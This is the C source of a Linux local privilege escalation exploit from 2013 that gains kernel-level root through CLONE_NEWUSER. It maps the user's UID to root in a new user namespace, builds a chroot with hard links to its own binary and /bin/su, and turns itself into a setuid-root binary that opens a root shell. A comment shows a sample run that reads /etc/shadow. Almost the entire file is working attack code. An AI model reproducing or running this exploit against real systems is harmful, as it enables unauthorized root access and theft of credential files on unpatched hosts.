/* clown-newuser.c -- CLONE_NEWUSER kernel root PoC * * Dedicated to: Locke Locke Locke Locke Locke Locke Locke! * * This exploit was made on the 13.3.13. * * (C) 2013 Sebastian Krahmer * * We are so 90's, but we do 2013 xSports. * * Must be compiled static: * * stealth@linux-czfh:~> cc -Wall clown-newuser.c -static * stealth@linux-czfh:~> ./a.out * [**] clown-newuser -- CLONE_NEWUSER local root (C) 2013 Sebastian Krahmer * * [+] Found myself: '/home/stealth/a.out' * [*] Parent waiting for boomsh to appear ... * [*] Setting up chroot ... * [+] Done. * [*] Cloning evil child ... * [+] Done. * [*] Creating UID mapping ... * [+] Done. * [+] Yay! euid=0 uid=1000 * linux-czfh:/home/stealth # grep bin /etc/shadow * bin:*:15288:::::: * linux-czfh:/home/stealth # * */ #define _GNU_SOURCE #include <sched.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #include <errno.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/wait.h> int go[2]; char child_stack[1<<20]; extern char **environ; void die(const char *msg) { perror(msg); exit(errno); } int child(void *arg) { char c; close(go[1]); read(go[0], &c, 1); setuid(0); /* this will also affect the parent, but the parent * has the init_user_ns, so it will start suid with real uid 0. */ if (chdir("chroot") < 0) die("[-] chdir"); if (chroot(".") < 0) die("[-] chroot"); return 0; } int setup_chroot(const char *me) { mkdir("chroot", 0755); mkdir("chroot/lib64", 0755); mkdir("chroot/bin", 0755); if (link(me, "chroot/lib64/ld-linux-x86-64.so.2") < 0) die("[-] link"); if (link("/bin/su", "chroot/bin/su") < 0) die("[-] link"); return 0; } int main(int argc, char *argv[]) { char *su[] = {"/bin/su", NULL}; char *sh[] = {"/bin/bash", NULL}; char me[256], *mee[] = {me, "1", NULL}; char uidmap[128], map_file[128]; pid_t pid; struct stat st; int fd; if (geteuid() == 0 && argc == 1) { /* this will run inside chroot, started as the ld.so from * su process */ printf("[+] Yay! euid=%d uid=%d\n", geteuid(), getuid()); chown("lib64/ld-linux-x86-64.so.2", 0, 0); chmod("lib64/ld-linux-x86-64.so.2", 04755); exit(0); } else if (geteuid() == 0) { /* this will run outside */ setuid(0); execve(*sh, sh, environ); die("[-] execve"); } printf("[**] clown-newuser -- CLONE_NEWUSER local root (C) 2013 Sebastian Krahmer\n\n"); memset(me, 0, sizeof(me)); readlink("/proc/self/exe", me, sizeof(me) - 1); printf("[+] Found myself: '%s'\n", me); if (fork() > 0) { printf("[*] Parent waiting for boomsh to appear ...\n"); for (;;) { stat(me, &st); if (st.st_uid == 0) break; usleep(1000); } execve(me, mee, environ); die("[-] execve"); } printf("[*] Setting up chroot ...\n"); setup_chroot(me); printf("[+] Done.\n[*] Cloning evil child ...\n"); if (pipe(go) < 0) die("[-] pipe"); pid = clone(child, child_stack + sizeof(child_stack), CLONE_NEWUSER|CLONE_FS|SIGCHLD, NULL); if (pid == -1) die("[-] clone"); printf("[+] Done.\n[*] Creating UID mapping ...\n"); snprintf(map_file, sizeof(map_file), "/proc/%d/uid_map", pid); if ((fd = open(map_file, O_RDWR)) < 0) die("[-] open"); snprintf(uidmap, sizeof(uidmap), "0 %d 1\n", getuid()); if (write(fd, uidmap, strlen(uidmap)) < 0) die("[-] write"); close(fd); printf("[+] Done.\n"); close(go[0]); write(go[1], "X", 1); waitpid(pid, NULL, 0); execve(*su, su, NULL); die("[-] execve"); return -1; }